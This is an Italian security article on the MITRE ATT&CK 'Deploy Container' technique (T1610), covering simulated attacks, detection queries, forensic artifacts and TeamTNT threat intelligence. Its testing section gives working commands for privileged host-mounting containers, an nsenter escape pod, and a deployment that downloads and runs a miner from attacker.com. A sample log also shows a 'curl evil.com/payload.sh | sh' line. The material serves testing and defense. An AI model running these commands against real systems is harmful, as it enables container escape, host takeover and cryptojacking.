Deploy Container: Esecuzione Silenziosa in Ambienti Containerizzati (T1610)

Per testare la vulnerabilità dell'ambiente ai deployment malevoli, inizia con l'enumerazione delle API esposte. In Docker, verifica l'accesso non autenticato: curl -s http://target:2375/version. Se ricevi una risposta JSON, l'API è esposta senza autenticazione.

Il deployment di un container malevolo segue una sequenza precisa. Prima crea il container con privilegi elevati:

docker -H tcp://target:2375 create --privileged --pid=host -v /:/hostroot ubuntu:latest /bin/bash

Poi avvialo e ottieni una shell interattiva:

docker -H tcp://target:2375 start -ai [container_id]

In ambienti Kubernetes, sfrutta configurazioni permissive dei ServiceAccount. Peirates automatizza l'attacco montando il filesystem dell'host:

kubectl run pwn --rm -it --image=alpine --overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'

Per simulare l'approccio di TeamTNT, deploya un container che scarica ed esegue un cryptominer. Crea un deployment malevolo che bypassa le network policy:

kubectl create deployment miner --image=alpine -- /bin/sh -c "wget http://attacker.com/xmrig && chmod +x xmrig && ./xmrig"

Testa anche il deployment attraverso dashboard esposti. Molti cluster Kubernetes espongono il dashboard senza autenticazione su porta 8001. Verifica con: curl -k https://target:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/

Per un test completo, simula il comportamento di Doki creando un container che establisce una reverse shell persistente al boot del nodo attraverso DaemonSet malevoli.

La detection efficace richiede correlazione tra eventi Docker/Kubernetes e comportamenti anomali post-deployment. Implementa la logica AN0693 che correla tre eventi chiave: creazione container, avvio e prima attività di rete/processo.

Monitora i log del Docker daemon per pattern sospetti. Un container creato con flag --privileged da un utente non amministrativo genera questa sequenza nei log:

docker.daemon: container.create image="ubuntu:latest" privileged=true user="webapp"
docker.daemon: container.start id="abc123" 
docker.events: container abc123 exec_create: /bin/sh -c "curl evil.com/payload.sh | sh"

Per Kubernetes, abilita l'audit logging e cerca deployment con securityContext permissivi. La query deve identificare pod con hostPID, hostNetwork o mount di /var/run/docker.sock:

auditID="*" verb="create" objectRef.resource="pods" 
| where requestObject.spec.hostPID==true 
  OR requestObject.spec.hostNetwork==true
  OR requestObject.spec.containers[].volumeMounts[].mountPath="/var/run/docker.sock"

Implementa detection comportamentale post-deployment. Un container legittimo non dovrebbe mai eseguire kubectl o docker come primo comando. Monitora syscall execve via eBPF per catturare l'esecuzione iniziale.

La finestra temporale critica è di 5 minuti tra creazione e prima attività. Container che rimangono dormienti più a lungo potrebbero essere persistence mechanism. Configura threshold differenziati: immediato per container con privilegi elevati, 15 minuti per container standard con immagini non verificate.

Riduci i falsi positivi mantenendo una allowlist dinamica delle immagini con digest SHA256. Un deployment di nginx:latest è più sospetto di nginx@sha256:abc123... perché il tag latest può cambiare silenziosamente.

La ricostruzione forense inizia dai log di orchestrazione. In Docker, /var/lib/docker/containers/[id]/[id]-json.log contiene l'output completo del container, inclusi comandi eseguiti e connessioni di rete tentate.

Per identificare container malevoli deployati, correla i timestamp tra:

• Creation time in /var/lib/docker/image/overlay2/repositories.json
• Start events in /var/run/docker.sock (se ancora disponibile)
• Network connections dal container namespace in /proc/[pid]/net/tcp

Kinsing lascia tracce caratteristiche: cerca processi kdevtmpfsi negli artefatti di memoria del container. Il malware modifica /etc/ld.so.preload per mantenere persistenza, verificabile anche dopo la rimozione del container se il volume era montato.

In Kubernetes, la timeline si ricostruisce dall'audit log. Cerca la sequenza: autenticazione anomala → creazione ServiceAccount → deployment pod privilegiato → exec nel pod. TeamTNT tipicamente crea ServiceAccount con nome casuale prima del deployment:

kubectl logs -n kube-system kube-apiserver-* | grep -E "create.*serviceaccount|create.*pod.*privileged"

Gli artefatti di Doki includono modifiche a /root/.bashrc nell'host per persistenza. Verifica mount point anomali confrontando /proc/mounts prima e dopo l'incidente. Container malevoli spesso montano / host in /hostroot o path simili.

Per la correlazione temporale, estrai eventi dai container runtime logs (containerd o CRI-O) che mostrano l'esatta sequenza di system call utilizzate durante l'escape to host. Cerca pattern di nsenter o chroot che indicano tentativi di breakout.

TeamTNT rappresenta l'attore principale documentato per questa tecnica, specializzato in cryptomining su infrastrutture cloud. Il gruppo scansiona sistematicamente range IP locali (172.16.0.0/12, 10.0.0.0/8) cercando cluster Kubernetes esposti, deployando poi container per mining di Monero.

L'arsenale di TeamTNT include tool specifici per container exploitation. Oltre ai malware documentati Kinsing e Doki, utilizzano script custom per:

• Scanning automatizzato di Docker API (porta 2375/2376)
• Exploitation di Kubernetes dashboard non autenticati
• Deployment massivo via DaemonSet per massimizzare il mining

Il gruppo mostra pattern evolutivi interessanti. Inizialmente focalizzati su Docker standalone, hanno progressivamente spostato l'attenzione su Kubernetes, suggerendo adaptation alle difese implementate. I loro container ora includono capability di lateral movement verso altri namespace.

Peirates, pur essendo un tool legittimo, viene frequentemente weaponizzato. La sua capacità di montare il filesystem root del nodo lo rende attraente per attaccanti che cercano persistenza oltre il container layer. Monitora l'uso di tecniche simili in:

• Tool open source di pentest Kubernetes
• Framework di post-exploitation cloud-native
• Script di automazione DevOps compromessi

L'overlap tecnologico suggerisce che gruppi focalizzati su cloud targeting potrebbero adottare questa tecnica. Attori interessati a supply chain attacks potrebbero deployare container backdoored in registry pubblici, aspettando deployment automatici in ambienti production.

Tecnica documentata nel framework MITRE ATT&CK con focus su exploitation di orchestratori container. TeamTNT campaigns analysis disponibile nei report di Trend Micro e Palo Alto Networks. Detection rules basate su Falco ruleset e Kubernetes audit best practices.